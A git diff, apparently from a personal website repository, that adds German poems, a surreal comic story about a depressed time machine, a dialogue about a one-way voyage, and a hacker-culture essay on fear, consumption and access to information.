18das Unterstuetzen von Kuenstlern hat eine lange Tradition und
19erstmals kann man problemlos seinen kleinen privaten Beitrag dazu
20leisten.
21Alles, was wir dazu brauchen, ist eine private Kontonummer
22(Kollektiv/Band/Vereins-konto), auf die wir die Spende weiterreichen
23koennen. Die Bankverbindung wird natuerlich nicht veroeffentlicht,
24genausowenig wie die Kontokoordinaten der Spender. Spenden, die
25unter das Geldwaeschegesetz fallen wuerden, werden zurueckgewiesen,
26genauso wie solche, die keinem Kuenstler eindeutig zuzuordnen sind.
27Unter [... www.bank.de/spenden ...] kann man alle Transaktionen
28nachvollziehen.
29
30Weitere Informationen finden sich unter [... www.dieguten.de ...]
diff --git a/stories/poetry/lovers.md b/stories/poetry/lovers.md
new file mode 100644
index 0000000..92a7989
--- /dev/null
+++ b/stories/poetry/lovers.md
@@ -0,0 +1,15 @@
1<!--
2.. title: Lovers!?
3.. date: 2000/11/01
4.. tags: poetry
5-->
6
7Dort unter den Weiden,<br/>
8beide vom Neumondschatten verwoehnt,<br/>
9Lautlosem Rascheln der Blaetter<br/>
10in windstiller Nacht lauschend,<br/>
11
12sucht er den Polarstern,<br/>
13sie den kleinen Baeren,<br/>
14und beide wuenschten sich,<br/>
15die Wolken wuerden verschwinden.
diff --git a/stories/poetry/madkarin.md b/stories/poetry/madkarin.md
new file mode 100644
index 0000000..74e9fc9
--- /dev/null
+++ b/stories/poetry/madkarin.md
@@ -0,0 +1,35 @@
1<!--
2.. title: Mad Karin
3.. date: 2002/04/01
4.. tags: poetry
5-->
6
7"Schnauze, Schneewittchen", denk ich noch bei mir und will mich wieder umdrehen, "kann man denn nicht einmal in Ruhe ausschlafen?" Aber es will einfach nicht aufhoeren. Kopfkissen und Bettdecke helfen genau gar nichts und das T-Shirt laesst sich nicht so leicht um den Kopf wickeln. Ich taste muede nach der Fernbedienung, bade dabei meine Hand in Muesli, weiss nicht und alter Unterwaesche und der Powerknopf macht nur noch mehr Laerm an. Worueber sich Gretel nun massiv beschwert. "Grandioser Start in den Tag", finde ich und nehme mir vor, nicht mehr mit Pilzen zu experimentieren wobei sich "frisch machen" nach einem soliden Plan anhoert.
8
9Ich schubse die beiden beiseite und gruesse kurz Haensel, der es sich zwischen den Geranien bequem gemacht hat. "Ich hab im Flur Pflanzen?", gruebel ich noch kurz, werde aber von Einstein unterbrochen, der vorm Klo hin- und herhopst und sich in den allerschoensten Rottoenen den Piephahn zudrueckt. "Der bloede Napoleon kackt schon seit 'ner Stunde", schimpft er. Eigentlich steht mir der Sinn im Moment nicht nach Streit mit Staatsoberhaeuptern, aber trotzdem bummer ich gegen die Tuer, teils aus latentem Ungerechtigsempfinden, teils, weil ich dort selbst Einlass begehre. Ein bellendes "Ruhe da, hier werden wichtige Geschaefte erledigt" korrigiert jedoch meinen Bedarf an Argumentationen nach unten. "Kueche reicht ooch", beschliesse ich feierlich, da ich mir eh nur frisches Wasser ins Gesicht stellen wollte.
10
11"Japp" jauchze ich, "Entscheidungen am fruehen Morgen machen halt erst dann Laune, wenn man sie getroffen hat." Ein gewagter Trab entlang des Flurs verschafft mir eine komfortable Stellung neben der Spuele, von der aus ich Batman und Goethe, die sich lebhaft ueber Latexunterhosen streiten, prima ignorieren kann. Was mir leider mit der, anscheinend umgekehrt proportional zur Uhrzeit immer gehaessiger schrillenden Tuerbimmel nicht so leicht gelingt, die mich just beim Hahnaufdrehen eiskalt erwischt. "Schosbodphadammta", grunz ich und scchildkroete mich zur Tuer, die sich dann aber herrlich wutentbrannt aufreissen laesst. Postbotin.
12
13"Unglaublich", stelle ich fest, "dass es so bestimmte Leute gibt, die man einfach dafuer hasst, dass sie ihrer alltaeglichen Beschaeftigung nachgehen." "Also bloss zu den falschen Zeiten natuerlich", relativiere ich mich. Aber eigentlich ist es wie mit Finanzbeamten, Politessen und dem Papst. Aber das ist ein anderes Thema.
14
15"Hab ich ueberhaupt Shorts an?" durchzuckt es mich und ich versuche, so beilaeufig wie moeglich an mir herunterzulinsen, was meinem Antlitz einen gruendlichen Hauch von Debilitaet verleiht. Die Hausfriedensbrecherin zeigt sich von meinem Auftritt komplett unbeeindruckt, was ich zwar als Beleg fuer die rudimentaere Vollstaendigkeit meiner Bekleidung deuten kann, aber ein gewisses Mass Entruestung ueber meinen Aufzug habe ich schon erwartet. "Was gibts?" klaeffe ich in gerade erst erlerntem Tonfall, was mich zumindest kurzfristig wieder Herr der Lage werden laesst und die neugierigen Blicke meinen Korridor hinunter auf mich verlagert. "Paket fuer Sie", scheint sie sich wieder des Grunds der Stoerung zu entsinnen.
16
17Beim schwungvollen Tuerzuwerfen klemmt ueberraschend ein Postbotinnenschuh zwischen Tuer, gestiefeltem Kater und Rahmen. Hat wohl wehgetan. "Is schlimm?" scheinheilige ich. Einigermassen gefasst in Anbetracht des geknautschten Gesichts sprudelt es ihr heraus: "Ist das da Einstein, der da gegen ihre Wand hoppst, ich wollte schon immer mal ein Autog..." Fuss draussen, Tuer zu. "Irgendetwas hab ich wohl vergessen", bemerk ich erstaunlich gewitzt fuer die Uhrzeit: Tuer auf, "ramm von dem, wissen sie ich hab ja scho", Paket aus der Hand gerissen, "n so viel gelesen von i...", Tuer zu, Ruhe. Zumindest, bis sie sich erinnert, wo die Klingel ausgeloest wird. Ich schau mich kurz um, ob bei Grimm auch beamtenfressende Ungeheuer vorkommen. Ich erinner mich nicht ganz genau, aber da auf ein wirklich lautes "Postbote, FASS!" genau gar nichts passiert, nehm ich eher "nein" an. Und ein zwischen Glocke und Kloeppel gestopftes Tempo hilft auch erstmal.
18
19Das Paket fuehlt sich weich an. "Bitte lass es einfach ne Briefbombe sein", fleh ich, aber "Platiksprengstoffpaketbombe" hoert sich einfach nicht wie aus den Nachrichten an. Missmutig reiss ich das Papier herunter. Koteletts.
20
21Ich versuch mich jetzt muehsam an den gestrigen Abend zu erinnern, finde aber, dass "an alles _nach_ dem Aufstehen erinnern" vollkommen reicht. Also bruell ich "wer hat hier Koteletts bestellt" durch die Wohnung, worauf der boese Wolf angesprungen kommt und es sich mit seinem frisch erbeuteten Fruehstueck in meiner Flugarderobe bequem macht. Auf meine fragenden Blicke schmatzt er bedeutsam zu Rotkaeppchen rueber: "Einstweilige Verfuegung, ich darf nicht naeher als 5 Meter an sie ran. Die hat jetzt n Anwalt." Damit loest sich meine gerade erst gewonnene Idee zur Dezimierung des Brieftraeger- und Maerchenfigurenbestands in Luft auf. "Macht nix", hoffe ich, verwerfe in Anbetracht des Riesen, der sich anschickt, den Wasserhahn leerzuschluerfen, noch schnell den Erfrischungsgedanken und schluerfe nun meinerseits zurueck.
22
23Die Badtuer ist frisch eingetreten und im Inneren beeilen sich der liebe Gott und ein kleiner Eroberer, ihre Bloesse vor einem wuetenden Physiker zu verbergen.
24
25"Klar!", glaub ich und "Bett". Darauf haben sich leider Unmengen an Unterlagen haeuslich eingerichtet, die wohl zu dem gegelten Anwalt gehoeren, der gerade Schneewittchen die Filmrechte abschwatzen will. Gretel ist immer noch dabei, auf die beiden einzureden, dass das mit den Brotkrumen wohl eindeutig ihr Patent sei und Haensel schlaeft.
26
27Ein kurzer Blick verraet mir, dass in den Geranien kein Platz mehr ist. Wenn nicht schon laengst, verinnerliche ich mir, ist _jetzt_ der Moment zum endgueltig wach werden. Ist ja schliesslich auch nicht mehr zum auszuhalten, nicht war? Wird naemlich langsam mal Zeit, dass ich rausfinde, was hier los ist. Und bei dem ganzen Durcheinander ist es auch nicht leicht, nen sinnigen Plot zusammenzustricken.
28
29Ich klatsch mir kurz gegen die Stirn: "na klar, ich mach einfach als auktorialer Erzaehler weiter." Haett ich auch frueher drauf kommen koennen. Ich reisse also - wissend - die Kammertuer auf und da steht, traurig und in sich versunken, Karin, die depressive Zeitmaschine. "Natuerlich"- faellts mir wieder ein, die hab ich gestern in ner Bar aufgegabelt, wo sie unter ihrem Makeup, und vielleicht dem Einfluss einiger Biere, aber noch bedeutend einladender ausgesehen hatte.
30
31"Warst du das hier etwa" herrsche ich sie an, worauf sie schuldbewusst auf ihren Flux-Kompensator schielt. "Ja!" gibt sie kleinlaut zu, "Immer wenn ich verzweifelt bin, schiess ich Persoenlichkeiten aus der Weltgeschichte durch die Zeit, um wenigstens ein bisschen Spass zu haben". "Ich wollte dir keinen Kummer machen." Aber ich bin noch nicht zu frieden. "Du bist eine Zeitmaschine, Maerchenfiguren sind aber keine realen Gestalten, du kannst sie gar nicht hierherbefoerdern" hake ich nach. Daraufhin kann sie auch nur mit den Schultern zucken und meint, dass das dann wohl mein Problem sei. Ich bedeute ihr kurz, zu warten, waehrend ich Schneewittchen auf den Sachverhalt hinweise. Diese antwortet nur "Ist das so?" und mit einem Plopp, den man eigentlich nur aus Situationen irgendwelche Sanitaeranlagen betreffend, kennt, loest sie sich in Luft auf. Und ueberall, wohin ich auch gucke, die ganze Zauberwaldmeute nirvanat sich hinfort.
32
33"Das war ja einfach" - gratulier ich mir, aber so ganz behagt mir nicht, dass der liebe Gott sich auf meiner Flur immernoch mit Napoleon vergnuegt. Ich pflaume da kurz zwischen, dass ich ja wohl Atheist sei und wech ist er. So langsam beginne ich Freude an dem Spiel zu entwickeln und ueberlege mir, wie ich das demnaechst mal gewinnbringend einsetzen sollte, werde aber von einem wuetenden Anwalt und einem sitzengelassenen Feldherren bedraengt. Auch Goethe langweilt sich wieder und will am liebsten nach Hause. Is mir aber herzlich egal. Soll Einsteins Memoiren schreiben. Vorher soll der mir aber noch meine Klotuer wieder einhaengen. Hebelgesetze beherrscht er, muss ich zumindest neidlos anerkennen. Finde aber in Anbetracht der Tatsache, dass sich inziwschen zwischen Dschingis Khan und Stalin ein Faustkampf um das Privileg des grausamsten Herrschers entzuendet hat, das Karin erstmal beruhigt werden muss. Zum Glueck hab ich noch nen Anwalt in meiner Plattensammlung stehen, den ich mit der Aussicht auf ein Freibier auf die bekloppte Zeitmaschine loslassen kann.
34
35Keine Minute spaeter ist die Kammer leer. Ich ueberleg noch schnell, ob ich diese Strategie auch fuer spaetere Dates benutzen koennte, aber irgendwas stimmt immer noch nicht. Findet Che Guevara auch. Klaus, so heisst der Anwalt, huestelt zweimal kurz pikiert und schon ist Karin wieder da, entfernt die verbliebenen Fremdpolitiker aus meinem Zimmer und ist auch gleich schon wieder verschwunden. So ganz ehrlich interessiert mich nicht, wie er sie losgeworden ist, denn er steht noch da. Ich bruell noch hinterher "Und der Jurist!?", aber keine Spur von Karin. Klaus guckt mich nur hinterhaeltig an und meint, er vertraete jetzt meinen neuen Mitbewohner, wobei er hoeflich auf das Muesli zeigt, vorhin haben wir Wahlrecht beantragt, aber alles weitere koennen wir ja bei nem Bier besprechen.
diff --git a/stories/poetry/milchstrasse.md b/stories/poetry/milchstrasse.md
new file mode 100644
index 0000000..92a1ac1
--- /dev/null
+++ b/stories/poetry/milchstrasse.md
@@ -0,0 +1,17 @@
1<!--
2.. title: Milchstraße
3.. date: 2007/05/01
4.. tags: poetry
5-->
6
7Des Nachts funkelt nun<br/>
8Wie einst das Firmament<br/>
9Nur noch der Horizont
10
11Und jeder waermende Schein<br/>
12Hier ein einsamer Traum<br/>
13Fehlt dort oben
14
15Es ist, als haetten<br/>
16Das Feuer der Goetter wir<br/>
17Gestohlen, nicht geliehen
diff --git a/stories/poetry/missverstaendnis.md b/stories/poetry/missverstaendnis.md
new file mode 100644
index 0000000..c42974a
--- /dev/null
+++ b/stories/poetry/missverstaendnis.md
@@ -0,0 +1,27 @@
1<!--
2.. title: (erdgeist I) Mißverständnis
3.. date: 2002/12/01
4.. tags: poetry
5-->
6
7Du missverstehst meine Motivation.<br/>
8Wohl versteh ich die Freiheit. Voll und<br/>
9ganz. Und ich geniesse sie. Und ich<br/>
10geniesse deine Freiheit. Und ich will<br/>
11sie haben. Und alles, was ich dazu tun<br/>
12muss, ist zu warten. Warten, bis mein Freund,<br/>
13die Zeit, auch deine, vom Sturmwind der<br/>
14Freiheit gegerbte, Seele bei mir an die<br/>
15Tuer klopfen laesst.<br/>
16Ich wuerde alles tun, um dich zu<br/>
17hindern, DEINE Traeume umzusetzen.<br/>
18Wenn es fuer mich einen Unterschied<br/>
19machen wuerde.<br/>
20Ich will nicht, dass du dich bindest.<br/>
21Ich will, dass du deinen Weg allein<br/>
22gehst, bis alle Kanten geschliffen und<br/>
23der Wille gebrochen, das noch<br/>
24geschmeidige Fell zersaust und dein<br/>
25steter Drang nach Freiheit gebrochen.<br/>
26Dann werde ich laechelnd am Ende deines<br/>
27Weges sitzen und dir deinen Platz anbieten.
diff --git a/stories/poetry/mistral.md b/stories/poetry/mistral.md
new file mode 100644
index 0000000..0a5c610
--- /dev/null
+++ b/stories/poetry/mistral.md
@@ -0,0 +1,16 @@
1<!--
2.. title: Mistral
3.. date: 2002/03/01
4.. tags: poetry
5-->
6
7Dort, wo der Regen frisch den Schwermut<br/>
8mit Leichtigkeit auf die Planken wusch,<br/>
9und wir versuchten, aneinander Halt<br/>
10und Geborgenheit zu finden,<br/>
11dort, wo die Gischt die Traurigkeit<br/>
12und die Einsamkeit des Meeres<br/>
13gegen unsere Brandung warf,<br/>
14dort, wo der Nebel mit unseren<br/>
15eh schon geblendeten Sinnen spielte.<br/>
16Dort verlor ich mich, im Wind.
diff --git a/stories/poetry/mondgoettin.md b/stories/poetry/mondgoettin.md
new file mode 100644
index 0000000..6938c21
--- /dev/null
+++ b/stories/poetry/mondgoettin.md
@@ -0,0 +1,26 @@
1<!--
2.. title: Mondgöttin
3.. date: 2002/09/01
4.. tags: poetry
5-->
6
7Gott und Mond sind fern.<br/>
8So wie du, als du mich voellig<br/>
9unverhofft an der Hand nahmst<br/>
10um mir das heimlich hinter<br/>
11der Welt versteckte Laecheln<br/>
12der Sonne zu zeigen.<br/>
13Licht und Du sind mir nun nah,<br/>
14aber noch fehlt mir die Kraft,<br/>
15den Blick wieder zur Erde<br/>
16zu erheben und ich gebe mich<br/>
17dem Rausch der Strahlen hin,<br/>
18in die du getaucht vor mir<br/>
19Mond und Sonne und Gott und<br/>
20die Welt vergessen machst.<br/>
21Und doch! Klein zwischen den<br/>
22Gestirnen, mit denen du wie<br/>
23selbstverstaendlich spielst,<br/>
24halte ich tapfer mein Licht,<br/>
25dein Leben zu beleuchten, um<br/>
26dich nie wieder zu verlieren.
diff --git a/stories/poetry/nachts.md b/stories/poetry/nachts.md
new file mode 100644
index 0000000..e30277f
--- /dev/null
+++ b/stories/poetry/nachts.md
@@ -0,0 +1,20 @@
1<!--
2.. title: Nachts
3.. date: 2002/05/01
4.. tags: poetry
5-->
6
7Dunkelheit truebt die Sinne.<br/>
8Doch als ich, mehr unbeholfen<br/>
9denn planvoll, in deine Naehe<br/>
10stolperte, da erst nahm ich<br/>
11das Strahlen wahr, das mich<br/>
12wahrscheinlich zu dir fuehrte.<br/>
13Und wenn ich nun hier, so nah<br/>
14bei dir und doch himmelweit<br/>
15entfernt, meinen Platz fand,<br/>
16so faellt es mir immer schwerer,<br/>
17daran zu glauben, ich sei noch<br/>
18Herr meiner eigenen Sinne.<br/>
19Das, allerdings, mag an der<br/>
20Nacht liegen.
diff --git a/stories/poetry/pamphlet b/stories/poetry/pamphlet
new file mode 100644
index 0000000..a318a5b
--- /dev/null
+++ b/stories/poetry/pamphlet
@@ -0,0 +1,8 @@
1<HTML><HEAD></HEAD><BODY> Fear, Uncertainty, Consumption, Knowledge.
2 Wir haben vor allem Moeglichen Angst. Ist ja auch nur zu natuerlich. Bei allem was man immer so liest und hoert. Es ist eine schreckliche Welt da draussen und das Einzige, was uns noch retten kann, ist: viel Geld auszugeben. Was es genau ist, das uns Angst machen muss? Das ist von Fall zu Fall natuerlich unterschiedlich. Aber generell sind es zwei Dinge, die sie verursachen: Unwissenheit und Unsicherheit. Und es gibt genug Leute, die von deiner Angst leben: Politiker, Polizisten, Anwlte, Versicherungsverteter, Potenzpillenhersteller, die Presse, die Ruestungsindustrie, sogar Greenpeace. Also gibt es auch ein vitales Interesse, dir deine schoene Angst nicht wegzunehmen. Man sehe sich nur die RTL-Abendnachrichten an und spiele ein kleines Spiel: versucht einmal, jeden Beitrag in eine der beiden Kategorien Angst oder Konsum einzuordnen. Und dann sagt, wo es die idyllischeren Bilder zu sehen gibt. Und wieviel Hintergrundinformationen vermittelt wurden. Dann schaue man sich die darauffolgende Soap an und sage, welche Gestalten gemeinhin als Sympathietraeger oder Identifikationsfiguren propagiert werden. Wissen und Intelligenz ist nicht schick, Erfolg nicht mehr Ergebnis von Fleiss. Dass gerade bei der Bildung gespart wird, wenn es nicht um die Elite geht, mag Zufall sein. Der Trend jedoch ist erkennbar: weg vom muendigen Bildungsbuerger, hin zum modernen Konsumbuerger mit all seinen pflegebeduerftigen Aengsten.
3 Was uns das als Hacker interessieren muss, die wir doch groesstenteils reflektierte, nicht vom Konsum verblendete Heroen sind? Wir sind das prototypische Feindbild des Konsums. Wir schliessen uns meist nicht der Finanzelite an und versuchen nicht einmal, eine berechenbare Gegenelite zu bilden. Unser erklaertes Ziel ist es, Herrschaftswissen zu nehmen und dem Beherrschten zugaenglich zu machen, zudem sein privates Wissen vor der zentralen Erfassung zu schuetzen. Hoechste Zeit, dem Hacker ein bedrohliches Image zu verpassen und am besten noch mit dieser neuen Angst Geld verdienen. Hier eine proprietaere Virenscan-Software, dort eine closed-source Firewall, und natuerlich im Fernsehn neben den Boesen, die Bomben auf Unschuldige werfen, der Hacker, der sich deine Festplatte zum Ziel genommen hat, so zwischen Ueberschwemmung, Lebensmittelvergiftungen und der Werbung. Da, wo die Komplexitaet des Systems das Verstaendnis sprengt und darueber hinaus magische, fast religioese Grenzen ankratzt, findet auch leicht die Ueberhoehung des Hackers ins Diabolische statt.
4 Aber auch wenn man die Angst durch Bildung bekmpft, bleibt sie nominal oft gleich: Denn hier fuehrt Beseitigung der Unwissenheit, zu einer Zunahme der eigenen Unsicherheit - die zweite Quelle der Angst. Wem zum Beispiel vertrauen wir denn in letzter Zeit unser Weltwissen an? Wir vertrauen darauf, dass in einem Prozessor, dessen Leiterbahnen wir mit blossem Augen nicht mehr erkennen koennen, sich Elektronen in gerade der richtigen Anzahl an den richtigen Stellen zusammensammeln, um bestimmte Schwellenwerte zu unter- oder ueberschreiten. Im Optimalfall kommt dabei die gewuenschte Transformation der Daten heraus. Die Ergebnisse werden in Abermilliarden schnell fluechtiger Rueckkopplungsgattern (ueblicherweise Speicher genannt) abgelegt. Was aufhebenswert erscheint, wird als mikroskopisch kleine Magnetisierungsinseln auf schnell rotierenden Metallscheiben gebannt, staendig auf der Furcht vor externen Magnetfeldern. Und wenn wir ernsthaft an das Konservieren fuer spaeter denken, benutzen wir extrem lichtempfindliche Billigstkunststoffscheiben, in die wir mit starken Lampen Loecher brennen, spaeter mit weniger starken Lampen wieder abtasten, nur um die Daten wenig spaeter dem selben Zyklus zu unterwerfen. (Wie lichtempfindlich die Scheiben sind, kann man im Experiment mit einer ueber den Sommer ins Fenster gehangenen CD selbst nachvollziehen) Alles in allem wohl ein unglaublich fragiler Ablauf, der nur mit Redundanz und dem kontinuierlichen Kopieren und Vergleichen der Daten mit den Zweit- und Drittkopien in stabilen Bahnen zu halten ist. (Versucht doch mal, eine Diskette von vor mehr als 7 Jahren zu lesen. Solltet ihr durch Zufall noch die passenden Laufwerke haben, ist die Wahrscheinlichkeit der Datenintegritaet wohl eher gering).
5 Das bewaehrte Konzept der menschenlesbaren Papierkopie wird mehr und mehr zurueckgedraengt, zumindest fuer die breite Masse, sie laesst sich zu schwer regulieren. Wissen ist (neben dem politischen) auch ein wirtschaftlicher Vorteil, Information Wirtschaftsgut. Oeffentliche Bibliotheken sind finanziell so schlecht ausgestattet, wie schon lange nicht mehr, Tendenz fallend. Aber auch im Elektronischen, wo die Regulierung des Kopierens mittels Kontrolle ueber das Kopiergeraet demnaechst leichter fallen soll, sind die Bewegungen in Richtung Informationsverknappung und Mehrfachverkauf deutlich zu erkennen. Dabei geht es mir nicht primaer um mp3s und Hollywoodschinken. Bald wird gar das private Pressearchiv urheberrechtlich bedenklich. An zentraler Stelle bleibt die Information natuerlich fuer Geld weiter verfuegbar. Ob aber morgen in der selben Zeitung noch das selbe steht, wie heute, ist fraglich. Dabei muss man nicht gleich mit Orwell argumentieren, eine einstweilige Verfuegung bei genuegendem politischen/wirtschaftlichen/staatssicherheitstechnischen Interesse ist durchaus im Rahmen des aktuell Wahrscheinlichen.
6 Selbst Suchmaschinen, respektive deren Caches, haben sich zuletzt nicht als zuverlssig-objektive Archive gegen den Willen der von den Informationen Tangierten erwiesen. Eine dezentrale Informations- Vorratshaltung und -Aufbereitung kostet aber Geld. (Man schaue sich nur die Unordnung in der privaten mp3-Sammlung an. Dann stelle man sich vor, wie die aussaehe, wenn irgendeine bezahlte Kraft den ganzen Tag nichts anderes zu tun haette, als die zu pflegen und erweitern.) Doch wo strukturiertes und damit erst zugngliches Wissen viel Geld kostet, muss sich die Akquisition/Aufbereitung auch finanziell lohnen. Sonst bleibt es Luxus, den man sich erst einmal leisten koennen muss. Aber aufgepasst: Viel zu schnell droht einem dabei selber der Abrutsch in die Klauen der Finanzeliten, die einen in ihre Unterabteilung Wissenselite einsortieren. Beispiel OpenSource-Projekte: sogar hier findet man das gesamte Muster Fear, Uncertainty, Consumption wieder. Was bleibt, wenn man etwa fuer eine Textverarbeitung auf proprietaere Datenformate angewiesen ist, reverse engineering verboten ist? Legal nur noch der Zukauf der Information, was bei einem kostenlosen OpenSource-Programm schlicht nicht finanzierbar ist. Und selbst wenn bleibt beim potentiellen Benutzer (der auch vom Hersteller der kommerziellen Software gern gepflegte) Rest Unsicherheit, die Angst, die dann nur noch durch Konsum - Kauf der SW - besiegbar scheint.
7 Wuerde man mich nach dem Konsum dieses Textes nach einer Moral fragen, wuerde ich sicher aus den Zielen des CCC zitieren. Dezentrale, oeffentlich zugaengliche Verwaltung aller oeffentlichen Informationen statt einem Verbot des Publizierens. Ansonten: selber denken!
8</BODY></HTML>
diff --git a/stories/poetry/perfektion.md b/stories/poetry/perfektion.md
new file mode 100644
index 0000000..c278099
--- /dev/null
+++ b/stories/poetry/perfektion.md
@@ -0,0 +1,32 @@
1<!--
2.. title: Perfektion
3.. date: 2006/01/02
4.. tags: poetry
5-->
6
7Gibt es Perfektion, fragst du.<br/>
8Und stehst doch vor mir<br/>
9selber schon, so perfekt<br/>
10
11Gibt es Schönheit, fragst du.<br/>
12Mit deinem Lächeln, deiner Haut,<br/>
13deinen Augen, deinen Haaren,<br/>
14mit denen du und die Welt und<br/>
15mein Leben als das Schönste erscheint.<br/>
16
17Gibt es Harmonie, fragst du.<br/>
18Als zusammen wir den Lauf der Dinge<br/>
19eng umschlungen im Geist und Körper<br/>
20an uns vorbei nicht wahr haben wollten.<br/>
21
22Gibt es Wahrheit, fragst du.<br/>
23Und bedeutest am Ende doch<br/>
24das Einzige, was bleibt.<br/>
25Als Antwort auf nie gestellte Fragen.<br/>
26
27Aber deine wahre Perfektion<br/>
28machen all deine Fehler erst,<br/>
29dein ungeschminktes Lachen,<br/>
30feurige böse Augen im Streit.<br/>
31Und die Gewissheit, dass alles<br/>
32Wahre im Leben farblos ist.
diff --git a/stories/poetry/schneebilder.md b/stories/poetry/schneebilder.md
new file mode 100644
index 0000000..6b5d191
--- /dev/null
+++ b/stories/poetry/schneebilder.md
@@ -0,0 +1,33 @@
1<!--
2.. title: Schneebilder
3.. date: 2006/01/01
4.. tags: poetry
5-->
6
7Vor uns liegt<br/>
8wie von eisiger Decke,<br/>
9der Platz, sanft gebettet.<br/>
10Ganz ruhig noch,<br/>
11im warmen Lichte<br/>
12der Stadt.<br/>
13
14Unter uns summen<br/>
15wie ein heimlicher Chor,<br/>
16die Flocken, matt knirschend.<br/>
17Voll knisternder Spannung,<br/>
18im warmen Rauschen<br/>
19der Stadt.<br/>
20
21Um uns fliegen<br/>
22wie von feuriger Hand,<br/>
23die Bälle, wild pfeifend.<br/>
24Voll Freude am Leben,<br/>
25im warmen Herzen<br/>
26der Stadt.<br/>
27
28Hinter uns verlieren<br/>
29wie des Atems Hauch<br/>
30unsere Schritte, sich still.<br/>
31Und langsam nur<br/>
32im warmen Schnee<br/>
33der Stadt.<br/>
diff --git a/stories/poetry/seelenkratzer.md b/stories/poetry/seelenkratzer.md
new file mode 100644
index 0000000..779d228
--- /dev/null
+++ b/stories/poetry/seelenkratzer.md
@@ -0,0 +1,17 @@
1<!--
2.. title: Seelenkratzer
3.. date: 2004/08/01
4.. tags: poetry
5-->
6
7Wir gaffen von den viel zu glatten Klippen<br/>
8und aus den uns ausgesparten Hoehlen<br/>
9die falschen Schluchten in die toten Taeler hinab,<br/>
10die wir glauben, uns selbst in der Landschaft,<br/>
11zum Durchwandern und sich Treffen,<br/>
12geschaffen zu haben.<br/>
13Doch - kaum regt dort sich Leben,<br/>
14nehmen wir reissaus,<br/>
15verstecken uns voreinander und<br/>
16lindern, in Sicherheit, diesen Schmerz<br/>
17mit knallbunten Bildern.
diff --git a/stories/poetry/seemann.md b/stories/poetry/seemann.md
new file mode 100644
index 0000000..1902278
--- /dev/null
+++ b/stories/poetry/seemann.md
@@ -0,0 +1,71 @@
1<!--
2.. title: Seemann
3.. date: 2000/08/01
4.. tags: poetry
5-->
6
7Nanana, mal nicht so schnell, wo wollen sie denn hin? -
8
9 Schnellstmöglich runter hier von diesem ... Boot? -
10
11Das sehe ich, daraus wird aber nichts mehr, wir legen nämlich gleich ab, seien sie bitte vernünftig, bleiben sie an Bord! -
12
13 Das werden wir noch sehen... wohin fahren sie denn überhaupt? -
14
15Sollten sie das nicht wissen, sie haben doch schließlich gebucht? -
16
17 Nein, ich habe gar nichts gebucht, wie kommen sie... -
18
19Ist das hier ihr Name auf der Liste? -
20
21 Ja schon, aber... -
22
23Na, sehen sie! Und wer bucht, kommt auch mit, oder glauben sie, wegen ihnen weren wir unseren ganzen Plan um? -
24
25 Mhh, wie lang dauert, ich meine, wann werden... -
26
27Das weiß keiner. Mal länger, mal weniger lang, das hängt ja sehr von der Route ab, und der Planung natürlich. Sie allerdings scheinen ja nicht sonderlich gut vorbereitet zu sein. -
28
29 Vorbereitung! Ich finde mich hier plötzlich und unvorbereitet... dabei fällt mir ein: was soll die ... Überfahrt?... eigentlich kosten? -
30
31Ach, darüber brauchen sie sich keine Sorgen zu machen, das ist alles schon geregelt. -
32
33 Nun sagen sie es schon! -
34
35Warum wollen sie das denn unbedingt wissen? -
36
37 Es interessiert mich halt, los, also wieviel? -
38
39... Alles. -
40
41 Wie, alles? -
42
43Na, ALLES. -
44
45 Sie meinen alles, was ich im Laufe... -
46
47Genau! Aber wie gesagt, sie brauchen sich um nicts mehr kümmern, es ist alles schon erledigt, kommen sie dann bitte wieder her? -
48
49 Einen Moment noch welche Plätze werden..., ich meine sind denn gebucht? -
50
51Das hängt voll und ganz vom jeweiligen Passagier ab. -
52
53 Sie meinen wohl, daß alles, was ich während... -
54
55Ja, zum Teufel!... Entschuldigen sie, ich habe es jetzt ein wenig eilig -
56
57 Das ist doch aber reichlich unfair, wieso erfahre ich das erst jetzt? -
58
59Wurde ihnen das denn nicht gesagt? -
60
61 Mhh, ich denke... ich sehe, das tut wohl JETZT nichts mehr zur Sache. -
62
63... -
64
65 Wieviele Rettungsboote haben wir denn mir? Reichen die denn für alle... wieviele Passagiere fahren denn so mit? -
66
67Rettungsboote, ha, wozu? Wohin retten? Eigentlich sind sie doch alle scho... ähm, entschuldigen sie bitte... Passagiere... na alle! -
68
69 Wie... ach, eigentlich wundert es mich gar nicht mehr, gibt es denn überhaupt etwas Positives zu sagen? -
70
71Ich würde ihnen ja gerne etwas versprechen... vielleicht: Chancen über Chancen... sie könn... halt, HALT! Warten sie, anhalten... Idiot!
diff --git a/stories/poetry/traeumerei.md b/stories/poetry/traeumerei.md
new file mode 100644
index 0000000..e980e10
--- /dev/null
+++ b/stories/poetry/traeumerei.md
@@ -0,0 +1,40 @@
1<!--
2.. title: Träumerei
3.. date: 2001/08/02
4.. tags: poetry
5-->
6
7Dies ist keine Welt fuer Traeumer.<br/>
8Kaum reckt man seinen Kopf<br/>
9Um die Geheimnisse der Welt<br/>
10zu entdecken und<br/>
11ihre Schoenheit zu begreifen,<br/>
12kaum glaubt man,<br/>
13verstanden zu haben, wozu<br/>
14man da ist und fuer wen,<br/>
15kaum ist man aus den<br/>
16Kinderschuhen hinausgewachsen,<br/>
17um in irgendwelche unsaeglichen<br/>
18Fussstapfen hineinwachsen<br/>
19zu sollen,<br/>
20kaum, dass man sich so<br/>
21einigermassen eingerichtet<br/>
22hat, in seinem Leben, so<br/>
23wie es alle machen und<br/>
24kaum, dass man glaubt DOCH<br/>
25etwas Besonderes zu sein,<br/>
26kommt diese verdammte<br/>
27Realitaet vorbei, reisst<br/>
28dir mit Gewalt die Augen auf<br/>
29und dich mit in den Strudel<br/>
30des Lebens fernab jeglicher<br/>
31Traeume und Plaene, die du<br/>
32dir zurechtgelegt und bewahrt<br/>
33hast in deiner Schatzkiste.<br/>
34Und alles, was du dir bewahren<br/>
35kannst, ist die Hoffnung,<br/>
36dass da irgendjemand<br/>
37auf der Suche danach ist.<br/>
38Doch leider haben nur Traeumer<br/>
39den Schluessel dafuer.<br/>
40Wirf ihn nicht weg!
diff --git a/stories/poetry/tscheljabinsk.md b/stories/poetry/tscheljabinsk.md
new file mode 100644
index 0000000..0dc1b70
--- /dev/null
+++ b/stories/poetry/tscheljabinsk.md
@@ -0,0 +1,15 @@
1<!--
2.. title: Kinder Tscheljabinsks
3.. date: 2001/09/01
4.. tags: poetry
5-->
6
7In letzter Zeit erreichten die Redaktion Bilder von Kindern aus Tscheljabinsk.
8
9Dort hatte die Deutsche Industrielobby zuletzt versucht, ihren Atommüll endzulagern.
10
